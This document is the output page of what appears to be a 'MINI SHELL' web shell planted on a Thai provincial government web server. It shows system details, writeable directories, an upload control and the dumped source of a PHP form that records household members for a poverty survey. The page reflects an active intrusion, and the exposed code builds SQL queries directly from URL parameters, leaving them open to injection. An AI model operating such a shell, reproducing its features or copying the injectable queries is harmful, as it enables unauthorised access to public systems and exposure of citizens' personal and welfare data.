MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/images_sys/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/images_sys/page3.php
<?php
session_start();
//include ("../epm.inc.php") ;
include ("function/function.php") ;
include ("timefunc.inc.php");

 //$arr_his_position=get_hr_position($xidcard,$xsiteid);  
/* echo "<pre>";
 print_r($arr_his_position);
 echo "</pre>";*/
 $monthname = array( "","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน", "กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
$month 			= array( "","ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.", "ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
function MakeDate($d){
global $monthname;
	if (!$d) return "";
	
	$d1=explode("-",$d);
	if (($d1[0] < 1)  and ($d1[1] < 1)){ return "" ; } 
	return intval($d1[2]) . " " . $monthname[intval($d1[1])] . " พ.ศ. " . $d1[0];
}
function retireDate($date){

	$d			= explode("-",$date);
	$year	= $d[0];
	$month	= $d[1];
	$date	= $d[2];
	
	
		
	if($month == 1 || $month == 2 || $month == 3){		
		$retire_year	= ($year < 2484) ? $year + 61 : $year + 60 ;		
	} else if($month == 10 || $month == 11 || $month == 12){		
		$retire_year 	= ($date <= 1 && $month == 10) ? $year + 60 :  $year + 61;		
	} else {
		$retire_year 	= $year + 60;
	}		

	return "30 กันยายน พ.ศ. ".$retire_year;
}
?>
<HTML>
 <HEAD>
  <TITLE></TITLE>
  <META NAME="Generator" CONTENT="EditPlus">
  <META NAME="Author" CONTENT="">
  <META NAME="Keywords" CONTENT="">
  <META NAME="Description" CONTENT="">
  <META http-equiv="Content-Type" content="text/html; charset=windows-874">
 <LINK href="../css/style.css" rel=stylesheet>
 <LINK href="../css/css_forminput.css" rel=stylesheet>
  <LINK href="../css/table.css" rel=stylesheet>
 	<!--<link href="../form/V17/css/style.css" rel="stylesheet" type="text/css" /> -->
	<link href="../form/V17/css/calendar_style.css" rel="stylesheet" type="text/css" />
	<link href="../form/V17/css/jquery.autocomplete.css" rel="stylesheet" type="text/css" />
	<script type="text/javascript" src="../../../common/script_event.js"></script>
	<!--<link href="../form/V17/css/thickbox.css" rel="stylesheet" type="text/css" /> -->
  	<script type="text/javascript" src="../form/V17/js/script.js"></script>
  	<!--<script type="text/javascript" src="../form/V17/js/daily_popcalendar.js"></script> -->
  	<script type="text/javascript" src="../form/V17/js/jquery.ajaxQueue.js"></script>
	<script type="text/javascript" src="../form/V17/js/thickbox-compressed.js"></script>
	<script type="text/javascript" src="../form/V17/js/jquery.autocomplete.js"></script>
<SCRIPT language='javascript' src='js/calendar/daily_popcalendar.js'></SCRIPT>
<SCRIPT language='javascript' src='js/calendar/displayelement.js'></SCRIPT>
<link rel="stylesheet" type="text/css" href="calendar/style.css" />
    <style type="text/css">
<!--
A:link {
	FONT-SIZE: 12px;color: #000000;	FONT-FAMILY: Tahoma,  "Microsoft Sans Serif";TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:visited {
	FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:active {
	FONT-SIZE: 12px; COLOR: #014d5f; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:hover {
	FONT-SIZE: 12px; COLOR: #f3960b; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
.h_menu {color:#FF9900}
-->
.bg_th{
  background-image:url(images/horiz-bg.png);
  background-repeat:repeat-x;
  background-color:#305086;
  font-weight:bold;
  color:#FFFFFF;
  text-align:center;
  }
  .bg_th1{
  background-repeat:repeat-x;
  background-color:#305086;
  font-weight:bold;
  color:#FFFFFF;
  text-align:center;
  }
.style3 {
	font-size: 14px;
	font-weight: bold;
}
.style4 {font-size: 14px}
</style>
<SCRIPT LANGUAGE="JavaScript">
  var xmlHttp;
function createXMLHttpRequest() {
    if (window.ActiveXObject) {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    } 
    else if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
  	  }
	}
	
function handleStateChange() {
    if(xmlHttp.readyState == 4) {
        if(xmlHttp.status == 200) {
            updateproductList();
        }
    }
}

function updateproductList() {
    clearproductList();
    var department = document.getElementById("alleg_department");
    var results = xmlHttp.responseText;
    var option = null;
    p=results.split(",");
	       option = document.createElement("option");
		   option.setAttribute("value",0);
           option.appendChild(document.createTextNode("ไม่ระบุ"));
           department.appendChild(option);
    for (var i = 0; i < p.length; i++){
	if(p[i] > ""){
			x = p[i].split("::");
           option = document.createElement("option");
		   option.setAttribute("value",x[1]);
           option.appendChild(document.createTextNode(x[0]));
           department.appendChild(option);
	}
    }
}
	function clearproductList() {
    var department = document.getElementById("alleg_department");
    while(department.childNodes.length > 0) {
              department.removeChild(department.childNodes[0]);
    }
}

function refreshproductList() {
   var ministry = document.getElementById("alleg_ministry").value;
    if(ministry == "" ) {
        clearproductList();
        return;
		}
    var url = "ajax_minitry.php?ministry_id=" + ministry;
    createXMLHttpRequest();
    xmlHttp.onreadystatechange = handleStateChange;
    xmlHttp.open("GET", url, true);
    xmlHttp.send(null);
}  

function ShowAmphur(name,value){
var obj = window.document.getElementsByName(name)[0];
if (obj){
obj.value = value;
}
}

function chgage() {
		
			CreateXmlHttp();
			date_age=document.getElementById("d").value;
			month_age=document.getElementById("m").value;
			year_age=document.getElementById("year").value;
			var birthday =year_age+"-"+month_age+"-"+date_age;
			XmlHttp.open("get", "ajax.chgage.php?birthday="+birthday, true);
			XmlHttp.onreadystatechange=function() {
				if (XmlHttp.readyState==4) {
					if (XmlHttp.status==200) {
						var res = XmlHttp.responseText; 
						alert (res);
					} else if (XmlHttp.status==404) {
						alert("????????????????????????");
					} else {
						alert("Error : "+XmlHttp.status);
					}
				}
			};
			XmlHttp.send(null);
	
	}
var gFiles = 0;
function addFile3() {
var subS = "คำอธิบายไฟล์ : ";
var subS1 = " ไฟล์แนบ : ";
var li = document.createElement('li');
li.setAttribute('id', 'file-' + gFiles);
li.innerHTML = '<input type="text" name="asset[]" size="30"><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;"> <img src=images/profile_expanded.gif border=0></span>';
document.getElementById('files-root3').appendChild(li);
gFiles++;
}

var gFiles = 0;
function addFile4() {
var subS = "คำอธิบายไฟล์ : ";
var subS1 = " ไฟล์แนบ : ";
var li = document.createElement('li');
li.setAttribute('id', 'file-' + gFiles);
li.innerHTML = '<textarea name="textarea2" id="textarea2" cols="60" rows="3"></textarea><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;"> <img src=images/profile_expanded.gif border=0></span>';
document.getElementById('files-root4').appendChild(li);
gFiles++;
}


function removeFile(aId){
var obj = document.getElementById(aId);
obj.parentNode.removeChild(obj);
}

/// function check เลขบัตร
function checkID(id) { 
	if(id.length != 13) return false; 
		for(i=0, sum=0; i < 12; i++) 
		sum += parseFloat(id.charAt(i))*(13-i); 
		if((11-sum%11)%10!=parseFloat(id.charAt(12))) return false; 
		return true; 
} 
// end function check เลขบัตร




	function CheckForm(){
	var type_u = document.getElementById("type_user").value;
	// alert (document.form.type_problem.value);

	if(document.form.type_problem.value == "6"){
			if(document.form.problem_comment.value == ""){
				alert(" ! กรุณาระบุรายละเอียดเรื่องร้องเรียน ");
				document.form.problem_comment.focus();
				return false;			
			}				
		}
	if(document.form.type_process.value == "5"){
			if(document.form.process_comment.value == ""){
				alert(" ! กรุณาระบุรายละเอียดการดำเนินการที่ต้องการ ");
				document.form.process_comment.focus();
				return false;			
			}	
		}	

		if(document.form.public_name.value == ""){
			alert(" !กรุณาระบุชื่อ - สกุล ผู้ถูกร้องเรียน");
			document.form.public_name.focus();
			return false;

		}else if(document.form.type_problem.value == ""){
			alert(" !กรุณาระบุประเภทเรื่องร้องเรียน ");
			document.form.type_problem.focus();
			return false;

		}else if(document.form.complain_detail.value == ""){
			alert(" !กรุณาระบุข้อกล่าวหา / ข้อร้องเรียน");
			document.form.complain_detail.focus();
			return false;			
		}else if(document.form.type_process.value == ""){
			alert(" !กรุณาระบุประเภทดำเนินการ ");
			document.form.type_process.focus();
			return false;				
		}else{
			if(type_u != "gov"){
				if(document.form.public_name.value == ""){
					alert(" ! กรุณาระบุชื่อของท่านด้วยครับ");
					document.form.public_name.focus();
					return false;
				}else if(!checkID(document.form.public_idcard.value)){
					alert(" ! เลขบัตรประจำตัวของท่านไม่ถูกต้องตามกรมการปกครอง กรุณาระบุใหม่อีกครั้ง");
					document.form.public_idcard.focus();
					return false;
				}else if(document.form.char_code.value == ""){
					alert(" !กรุณาระบุรหัสภาพ");
					document.form.char_code.focus();
					return false;
				}
			}else{
			return true;
			}
		}		
	}
	

</SCRIPT>
  <script>
  var rootfolder = "../form/V17/";
 
  $(document).ready(function(){

  	$('#form').find("INPUT[objtype$='autocomplete']").each(function(){	//autocomplete
	var div_id=$(this).attr('id');
	var file=$(this).attr('file');
		$(this).autocomplete(rootfolder+''+file, {
			minChars: 3,
			width: 300,
			multiple: false,
			matchContains: true
		});
		if($(this).attr('onselected')){
		    var onselected =$(this).attr('onselected');		
			$(this).result(eval(onselected) ).next().click(function() {	$(this).prev().search(); });	
		}else{
			   $(this).result(onselected_item ).next().click(function() { 	$(this).prev().search();});
		}
 	 });
  });
  function date_eng2thai(date){
  			var shortmonth = new Array( "","ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.", "ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.");
 			arrDate = date.split('-');  
			return (arrDate[2]*1)+' '+shortmonth[arrDate[1]*1]+' '+arrDate[0];
  }

 /*function birthday($birthday) {
		if ( $birthday ) {
			list($year,$month,$day) = explode(-,$birthday);
			$year_diff = date(Y) - $year;
			$month_diff = date(m) - $month;
			$day_diff = date(d) - $day;
			if ($month_diff  0) $year_diff--;
			elseif (($month_diff==0) && ($day_diff  0)) $year_diff--;
			
			return $year_diff;
		}
	}*/
  
  function getPositionToList(my_id){
  		if(document.getElementById(my_id).checked==true){
			addItem(document.getElementById(my_id).value);
		}else{
			deleteRow(my_id);
		}
  }
  function addItemNew(){

  		var code_id=document.getElementById('code_id1');
		var name=document.getElementById('name1');
		var lastname=document.getElementById('lastname1');
  		var status = document.getElementById('status1');
		var age = document.getElementById('age1');
		var sex1 = document.getElementById('sex1');
		var sex2 = document.getElementById('sex2');
		var education = document.getElementById('education');
		var career = document.getElementById('career');
		var salary = document.getElementById('salary1');
		var pay = document.getElementById('pay1');
		var sick = document.getElementById('sick1');
		var gimp = document.getElementById('gimp1');
		var old = document.getElementById('old1');
		var spacial = document.getElementById('spacial1');
	//alert(code_id.value);
		var newCell = document.getElementById('TB_INSERT');
		//alert(code_id.value);
		
		
		if(sex1.checked==true){
		sex="ชาย";
		}else if(sex2.checked==true)
		{
		sex="หญิง"
		}else{
		alert("กรุณาเลือกเพศ");
		}
		
		var numRow = newCell.rows.length;
		var insetTB = newCell.insertRow(numRow);
		//alert(numRow);
		var td1 = insetTB.insertCell(0);
		var td2 = insetTB.insertCell(1);
		var td3 = insetTB.insertCell(2);
		var td4 = insetTB.insertCell(3);
		var td5 = insetTB.insertCell(4);
		var td6 = insetTB.insertCell(5);
		var td7 = insetTB.insertCell(6);
		var td8 = insetTB.insertCell(7);
		var td9 = insetTB.insertCell(8);
//     	var td10 = insetTB.insertCell(9);
//		var td11 = insetTB.insertCell(10);
//		var td12 = insetTB.insertCell(11);
//		var td13 = insetTB.insertCell(12);
//		var td14 = insetTB.insertCell(13);
		//var arrText = varText.split(":");
		//Text Field 
		text_field1 ='<img src="img/b_edit.png" title="แก้ไข" id="new_add'+numRow+'_db" align="absmiddle" height="18" onClick="editRow('+numRow+');" style="cursor:pointer;">';
		text_field1 += '<img src="img/b_drop.png" title="ลบ" id="new_add'+numRow+'_db" align="absmiddle" height="18" onClick="deleteRow(\'new_add'+numRow+'\');" style="cursor:pointer;">';
		text_field2 = '<div id="div_code_id_'+numRow+'">'+code_id.value+'<input type="hidden" name="code_id[]" id="code_id_'+numRow+'" value="'+code_id.value+'" ></div>';
		text_field3 ='<div id="div_name_'+numRow+'">'+name.value+'<input type="hidden" name="name[]" id="name_'+numRow+'"  value="'+name.value+'" ></div>';
		text_field4='<div id="div_lastname_'+numRow+'">'+lastname.value+'<input type="hidden" name="lastname[]" id="lastname_'+numRow+'"  value="'+lastname.value+'" ></div>';
		text_field5 ='<div id="div_age_'+numRow+'">'+ age.value+'<input type="hidden" name="age[]" id="age_'+numRow+'" value="'+age.value+'" ></div>';	
		text_field6 = '<div id="div_education_'+numRow+'">'+ education.value+'<input type="hidden" name="education[]"  id="education_'+numRow+'" value="'+education.value+'" ></div>';
		text_field7 = '<div id="div_career_'+numRow+'">'+career.value+'<input type="hidden" name="career[]" id="career_'+numRow+'" value="'+career.value+'" ></div>';
		text_field8 = '<div id="div_salary_'+numRow+'">'+salary.value+'<input type="hidden" name="salary[]" id="salary_'+numRow+'" value="'+salary.value+'" ></div>';	
		text_field9 ='<div id="div_pay_'+numRow+'">'+pay.value+'<input type="hidden" name="pay[]" id="pay_'+numRow+'" value="'+pay.value+'" >'+'<input type="hidden" name="sex[]"  id="sex_'+numRow+'" value="'+sex+'" >'+'<input type="hidden" name="sick[]" id="career_'+numRow+'" value="'+sick.value+'" >'+'<input type="hidden" name="sick[]" id="sick_'+numRow+'" value="'+sick.value+'" >'+'<input type="hidden" name="gimp[]" id="gimp_'+numRow+'" value="'+gimp.value+'" >'+'<input type="hidden" name="old[]" id="old_'+numRow+'" value="'+old.value+'" >'+'<input type="hidden" name="status[]"  id="status_'+numRow+'" value="'+status.value+'" >'+'<input type="hidden" name="spacial[]"  id="spacial_'+numRow+'" value="'+spacial.value+'" ></div>';
		
		
	//	text_field10 = '<div id="div_sex_'+numRow+'">'+ sex.value+'<input type="hidden" name="sex[]"  id="sex_'+numRow+'" value="'+sex.value+'" ></div>';
	//	text_field11 ='<div id="div_career_'+numRow+'">'+ sick.value+'<input type="hidden" name="sick[]" id="career_'+numRow+'" value="'+sick.value+'" ></div>';
	//	text_field12 ='<div id="div_sick_'+numRow+'">'+ sick.value+'<input type="hidden" name="sick[]" id="sick_'+numRow+'" value="'+sick.value+'" ></div >';
	//	text_field13 ='<div id="div_gim_'+numRow+'">'+ gimp.value+'<input type="hidden" name="gimp[]" id="gimp_'+numRow+'" value="'+gimp.value+'" ></div>';
	//	text_field14 ='<div id="div_old_'+numRow+'">'+ old.value+'<input type="hidden" name="old[]" id="old_'+numRow+'" value="'+old.value+'" ></div>';
//	text_field15 ='<div id="div_spacial_'+numRow+'">'+spacial.value'<input type="hidden" name="spacial[]" id="spacial_'+numRow+'"value="" ></div>';
		
		//Text TD
		insetTB.style.backgroundColor = "#EEEEEE";
		insetTB.style.height='20px';
		td1.innerHTML = text_field1;
		td2.innerHTML = text_field2;
		td3.innerHTML = text_field3;
		td4.innerHTML = text_field4;
		td5.innerHTML = text_field5;
		td6.innerHTML = text_field6;
		td7.innerHTML = text_field7;
		td8.innerHTML = text_field8;
     	td9.innerHTML = text_field9;
//		td10.innerHTML = text_field10;
//		td11.innerHTML = text_field11;
//		td12.innerHTML = text_field12;
//		td13.innerHTML = text_field13;
//		td14.innerHTML = text_field14;
		td1.style.textAlign = "center";
		td5.style.textAlign = "right";
		
		
		
		
		
		
		code_id.value='';
		name.value='';
		lastname.value='';
  		status.value = '';
		age.value = '';
		sex.value = '';
		education.value ='';
		career.value ='';
		salary.value = '';
		pay.value='';
		sick.value = '';
		gimp.value ='';
		old.value ='';
		spacial.value='';
			
  } 

function checkCodeId1(code_id){
	//alert('test');
	if(code_id.value !="") {
	//	alert(code_id.value);
		
		if(code_id.value.length != 13) {
				document.getElementById('txt_code_id1').innerHTML='<img src="img/icon-warning.png" align="absmiddle" border="0"><font color="#FF0000"><b>เลขบัตรประจำตัวประชาชนไม่ถูกต้อง</b></font>';
						  code_id.focus() ; 
		}else{
				document.getElementById('txt_code_id1').innerHTML='';
			//	code_id.focus() ; 
		}
		for(i=0, sum=0; i < 12; i++) {
		sum += parseFloat(code_id.value.charAt(i))*(13-i); 
		}
		if((11-sum%11)%10!=parseFloat(code_id.value.charAt(12))) {
				document.getElementById('txt_code_id1').innerHTML='<img src="img/icon-warning.png" align="absmiddle" border="0"><font color="#FF0000"><b>เลขบัตรประจำตัวประชาชนไม่ถูกต้อง</b></font>';
						  code_id.focus() ; 
		}else{
				document.getElementById('txt_code_id1').innerHTML='';
			
		}
		
	}
}
 

function deleteRow(my_id){
// alert (my_id);
	var i=document.getElementById(my_id+'_db').parentNode.parentNode.rowIndex;
	document.getElementById('TB_INSERT').deleteRow(i);
}
function editRow(my_id){
        
		var code_id=document.getElementById('code_id1');
		var name=document.getElementById('name1');
		var lastname=document.getElementById('lastname1');
  		var status = document.getElementById('status1');
		var age = document.getElementById('age1');
		var sex1 = document.getElementById('sex1');
		var sex2 = document.getElementById('sex2');
		var education = document.getElementById('education');
		var career = document.getElementById('career');
		var salary = document.getElementById('salary1');
		var pay = document.getElementById('pay1');
		var sick = document.getElementById('sick1');
		var gimp = document.getElementById('gimp1');
		var old = document.getElementById('old1');
		var spacial = document.getElementById('spacial1');
		//alert (pay.value);
		
		code_id.value = document.getElementById('code_id_'+my_id).value;
		name.value=document.getElementById('name_'+my_id).value;
		lastname.value=document.getElementById('lastname_'+my_id).value;
		status.value=document.getElementById('status_'+my_id).value;
		sex.value=document.getElementById('sex_'+my_id).value;
		education.value=document.getElementById('education_'+my_id).value;
	//	alert (document.getElementById('age_'+my_id).value);
		age.value=document.getElementById('age_'+my_id).value;
		career.value=document.getElementById('career_'+my_id).value;
		salary.value=document.getElementById('salary_'+my_id).value;
		pay.value=document.getElementById('pay_'+my_id).value;
		sick.value=document.getElementById('sick_'+my_id).value;
		old.value=document.getElementById('old_'+my_id).value;
		gimp.value=document.getElementById('gimp_'+my_id).value;
		spacial.value=document.getElementById('spacial'+my_id).value;
		if(sex.value=="ชาย") {
		sex1.checked=true;
		}else {
		sex2.checked=true;
		}
		if(sick.value=="ป่วยเรื้อรัง"){
		sick.selected=true;
		}else if (old.value=="สูงอายุ"){
		old.selected=true;
		} else if (gimp=="พิการ") {
		gimp.selected=true;
		}
		
		document.getElementById('button_item').innerHTML='<input type="button" value="แก้ไขข้อมูล" onClick="editData('+my_id+');">';
		//alert (document.getElementById('button_item').innerHTML);
}
function editData(numRow){
		var code_id=document.getElementById('code_id1');
		var name=document.getElementById('name1');
		var lastname=document.getElementById('lastname1');
  		var status = document.getElementById('status1');
		var age = document.getElementById('age1');
		var sex = document.getElementById('sex1');
		var education = document.getElementById('education');
		var career = document.getElementById('career');
		var salary = document.getElementById('salary1');
		var pay = document.getElementById('pay1');
		var sick = document.getElementById('sick1');
		var gimp = document.getElementById('gimp1');
		var old = document.getElementById('old1');
		var spacial = document.getElementById('spacial1');
	text_field2 = code_id.value+'<input type="hidden" name="code_id[]" id="code_id_'+numRow+'" value="'+code_id.value+'" >';
	document.getElementById('div_code_id_'+numRow).innerHTML=text_field2;
	text_field3 = name.value+'<input type="hidden" name="name[]" id="name_'+numRow+'" value="'+name.value+'" >';
	document.getElementById('div_name_'+numRow).innerHTML=text_field3;
	text_field4 = lastname.value+'<input type="hidden" name="lastname[]" id="lastname_'+numRow+'" value="'+lastname.value+'" >';
	document.getElementById('div_lastname_'+numRow).innerHTML=text_field4;
	text_field5 =age.value+'<input type="hidden" name="age[]" id="age_'+numRow+'" value="'+age.value+'" >';
	document.getElementById('div_age_'+numRow).innerHTML=text_field5;
	
	document.getElementById('button_item').innerHTML='<input type="button" value="เพิ่มข้อมูล" onClick="addItemNew();">';
	//alert('แก้ไขข้อมูลเรียบร้อย');
	code_id.value='';
		name.value='';
		lastname.value='';
  		status.value = '';
		age.value = '';
		sex.value = '';
		education.value ='';
		career.value ='';
		salary.value = '';
		pay.value='';
		sick.value = '';
		gimp.value ='';
		old.value ='';
		spacial.value='';
			
}


 
  </script>
   </HEAD>
   
 <BODY >
 <table width="100%%" border="0" cellpadding="1" cellspacing="1">
  <tr>
    
<td  valign="top">
	<fieldset>
	<legend><strong>ข้อมูลสมาชิกในครอบครัว</strong></legend>
	<table  id="TB_INSERT"width="100%" border="1" bordercolor="#CCCCCC" align="center" cellpadding="4" cellspacing="0" >
      <tr class="bg_th" >
      <td width="5%" rowspan="1"><div align="center">การจัดการ</div></td>
       <td width="10%" rowspan="1"><div align="center">หมายเลขบัตร</div></td>
             <td width="10%" rowspan="1"><div align="center">ชื่อ</div>               </td>
             <td width="10%" rowspan="1"><div align="center">นามสกุล</div></td>
             <td width="5%" rowspan="1"><div align="center">วันเดือนปีเกิด</div></td>
          <td width="20%" rowspan="1"><div align="center">การศึกษา</div></td>
             <td width="20%" rowspan="1"><div align="center">อาชีพ</div></td>
          <td width="10%" rowspan="1"><div align="center">รายได้เฉลี่ยต่อเดือน</div></td>
             <td width="10%" rowspan="1"><div align="center">รายจ่ายเฉลี่ยต่อเดือน</div></td>
          <?php /*?> <td width="10%" rowspan="1"><div align="center">อาชีพ</div></td>
             <td width="5%" rowspan="1"><div align="center">รายได้เฉลี่ย</div></td>
			 <td width="15%" rowspan="1"><div align="center">หมายเหตุ</div></td>
             <td width="10%" rowspan="1"><div align="center">มีสวัสดิการ</div></td><?php */?>
      </tr>
      <?
	  $strSQL_5 = "SELECT *
										FROM pauper_surway_family
										WHERE run_id='".$_GET['runid']."'";
													
									$rsConn_5 = mysql_db_query($dbname,$strSQL_5);
	   $num_row=0;
	   while($row_famaily = mysql_fetch_assoc($rsConn_5)){ 
	   $num_row++; 

	    ?>
	  <tr><td> <a href="?famid=<?=$row_famaily['run_id']?>&code=<?=$row_famaily['code']?>&edit=1"><img src="img/b_edit.png" title="แก้ไข" id="new_add<?=$num_row?>_db" align="absmiddle" height="18" style="cursor:pointer;"></a>
       <?php /*?> <a href="?famid=<?=$row_famaily['run_id']?>&code=<?=$row_famaily['code']?>&edit=1"><img src="img/b_edit.png" title="แก้ไข" id="new_add<?=$num_row?>_db" align="absmiddle" height="18" onClick="editRow(<?=$num_row?>);" style="cursor:pointer;"></a><?php */?>|
                     <img src="img/b_drop.png" title="ลบ" id="new_add<?=$num_row?>_db" align="absmiddle" height="18" onClick="deleteRow('new_add<?=$num_row?>');" style="cursor:pointer;"></td>
             <td><div id="div_code_id_<?=$num_row?>"><?=$row_famaily['code_id']?><input type="hidden" name="code_id[]" id="code_id_<?=$num_row?>" value="<?=$row_famaily['code_id']?>" ></div></td>
             <td><div id="div_name_<?=$num_row?>'"><?=$row_famaily['name']?><input type="hidden" name="name[]" id="name_<?=$num_row?>'"  value="<?=$row_famaily['name']?>" ></div></td>
             <td><div id="div_lastname_<?=$num_row?>"><?=$row_famaily['lastname']?><input type="hidden" name="lastname[]" id="lastname_<?=$num_row?>"  value="<?=$row_famaily['lastname']?>" ></div></td>
             <td> <div id="div_age_<?=$num_row?>"><?=$row_famaily['age']?><input type="hidden" name="age[]" id="age_<?=$num_row?>" value="<?=$row_famaily['lastname']?>" ></div></td>
             <td><div id="div_education_<?=$num_row?>"><?=$row_famaily['education']?><input type="hidden" name="education[]"  id="education_<?=$num_row?>" value="<?=$row_famaily['education']?>" ></div></td>
              <td><div id="div_career_<?=$num_row?>"><?=$row_famaily['career']?><input type="hidden" name="career[]" id="career_<?=$num_row?>" value="<?=$row_famaily['career']?>" ></div></td>
             <td><div id="div_salary_<?=$num_row?>"><?=$row_famaily['salary']?><input type="hidden" name="salary[]" id="salary_<?=$num_row?>" value="<?=$row_famaily['salary']?>" ></div></td>
             <td><div id="div_pay_<?=$num_row?>"><?=$row_famaily['pay']?><input type="hidden" name="salary[]" id="pay_<?=$num_row?>" value="<?=$row_famaily['pay']?>" ></div></td>
      </tr>
	  
	  
	  
	<?   } 
	  ?>
	</table>
    </fieldset>
	<DIV ID="form">
	<fieldset>
	<legend>เพิ่มข้อมูลสมาชิกในครอบครัว</legend>
    <?
    if($_GET[famid]){
	 $strSQL_55 = "SELECT *
										FROM pauper_surway_family
										WHERE run_id='".$_GET['famid']."'";
													
									$rsConn_55 = mysql_db_query($dbname,$strSQL_55);

	  $row_famaily = mysql_fetch_assoc($rsConn_55);

	}
	
	?>

	<table width="98%" border="0">
    <tr>
    <td width="330" align="right">เลขประจำตัวประชาชน</td>
    <td width="830"><input type="text" name="code_id1" id="code_id1"   ><span id="txt_code_id1"></span></td><?php /*?>onBlur="checkCodeId1(this);"<?php */?>
  </tr>
	  <tr>
		<td align="right">ชื่อสมาชิก</td>
    <td><input type="text" name="name1" id="name1" /> 
    <input type="text" name="lastname1" id="lastname1" />         </td>
	  </tr>
	  <tr>
		<td align="right">สถานะในครอบครัว</td>
    <td><select name="status1" id="status1">
      <option selected="selected" value=" " >เลือก</option>
      <option value="เจ้าของบ้าน">เจ้าของบ้าน</option>
      <option value="ผู้อยู่อาศัย">ผู้อยู่อาศัย</option>
    </select>    </td>
	  </tr>
	   <tr>
    <td><div align="right">วันเดือนปีเกิด</div></td>
    <td><input name="age1" type="text" id="age1" size="20" maxlength="10" onFocus="this.select();" onKeyPress="chkDateFormat(this.id, this.value);"  onKeyUp="autoTab(this)" readonly  value="<? if($age1 == "--543"){ echo date("d-m-").(date("Y")+543);}else{ echo ($age1!="")?$age1:date("d-m-").(date("Y")+543);}?>"/>
      <img src="js/calendar/calendar2.gif" title="วัน-เดือน-ปี" width="26" height="25" border="0" align="absmiddle"  
onclick="popUpCalendar(this, document.getElementById('age1'), 'dd-mm-yyyy')" onMouseOver="this.style.cursor='pointer'"value="" />  

<?php /*?><select name="d" id="d"> 
<option value=" ">วัน</option>  
    <? for($i=1; $i<=31; $i++) {?> 
<option value="<? echo $i?>"><? echo $i?></option> 
<? }?> 
</select>   
    
    
     <select name="m" id="m"> 
  
   <option value=" ">เดือน</option> 
  
<? $month = array("มกราคม ","กุมภาพันธ์ ","มีนาคม ","เมษายน ","พฤษภาคม ","มิถุนายน ","กรกฎาคม ","สิงหาคม ","กันยายน ","ตุลาคม ","พฤศจิกายน ","ธันวาคม ");
 
 for($i=0; $i<sizeof($month); $i++) {?> 
  
<option value="<? echo $month[$i]?>"> 
  
 <? echo $month[$i] ?></option> 
  
<? }?> 
</select> 
       
<select name="year" id="year" onChange="chgage()"> 
<option value=" ">ปี</option>  
<? for($i=0; $i<=100; $i++) {?>   
<option value="1"><? echo date("Y")-$i+543 ?></option>   
<? }?> 
</select> 
<?php */?>    </td>
  </tr>
  <tr>
    <td><div align="right">เพศ</div></td>
    <td><input type="radio" name="sex1" id="sex1" value="ชาย"  />
      ชาย
        <input type="radio" name="sex1" id="sex2" value="หญิง" />
        หญิง</td>
  </tr>
  <tr>
    <td><div align="right">การศึกษา</div></td>
    <td><select name="education" id="education" onChange='setVisibility6(this)'>
      <option selected value="">เลือก</option>
      <option value="ไม่ได้รับการศึกษา">ไม่ได้รับการศึกษา</option>
      <option value="ประถมศึกษาปีที่4">ประถมศึกษาปีที่4</option>
      <option value="ประถมศึกษาปีที่6">ประถมศึกษาปีที่6</option>
      <option value="มัธยมศึกษาปีที่3">มัธยมศึกษาปีที่3</option>
      <option value="มัธยมศึกษาปีที่6">มัธยมศึกษาปีที่6</option>
      <option value="ปวส.">ปวส.</option>
      <option value="ปวช.">ปวช.</option>
      <option value="ปริญญาตรี">ปริญญาตรี</option>
      <option value="ปริญญาโท">ปริญญาโท</option>
      <option value="ปริญญาเอก">ปริญญาเอก</option>
    </select>   <div id='show_comment6' style="display:none">ระบุ:
				 <input type="text" name="detail_career" id="detail_career" size="19"value="<?=($_POST['detail_career']=='')?$Result_4['detail_career']:$_POST['detail_career']?>"  />    </td>
     </tr>
  <tr>
    <td><div align="right">อาชีพ</div></td>
    <td><select name="career" id="career" >
      <option selected value="">เลือก</option>
      <option value="กำลังศึกษา">กำลังศึกษา</option>
      <option value="รับจ้างทั่วไป">รับจ้างทั่วไป</option>
      <option value="เกษตรกร">เกษตรกร</option>
      <option value="ทำประมง">ทำประมง</option>
      <option value="ธุรกิจส่วนตัว">ธุรกิจส่วนตัว</option>
      <option value="ข้าราชการ">ข้าราชการ</option>
      <option value="อื่นๆ">อื่นๆ</option>
    </select> </td>
  </tr>
  <tr>
    <td><div align="right">รายได้เฉลี่ยต่อเดือน</div></td>
    <td><input type="text" name="salary1" id="salary1" size="10" />
      บาท</td>
  </tr>
   <tr>
    <td><div align="right">รายจ่ายฉลี่ยต่อเดือน</div></td>
    <td><input type="text" name="pay1" id="pay1" size="10" />
      บาท</td>
  </tr>
  <tr>
    <td><div align="right">หมายเหตุ</div></td>
    <td><input type="checkbox" name="sick1" id="sick1" value="ป่วยเรื้อรัง" />
      ป่วยเรื้อรัง 
        <input type="checkbox" name="gimp1" id="gimp1" value="พิการ" />
        พิการ
        <input type="checkbox" name="old1" id="old1"  value="สูงอายุ"/>
        สูงอายุ</td>
  </tr>
  <tr>
    <td><div align="right">มีสวัสดิการจาก</div></td>
    <td><textarea name="spacial1" id="spacial1" cols="45" rows="5"></textarea></td>
  </tr>
	   <tr>
		<td align="right">&nbsp;</td>
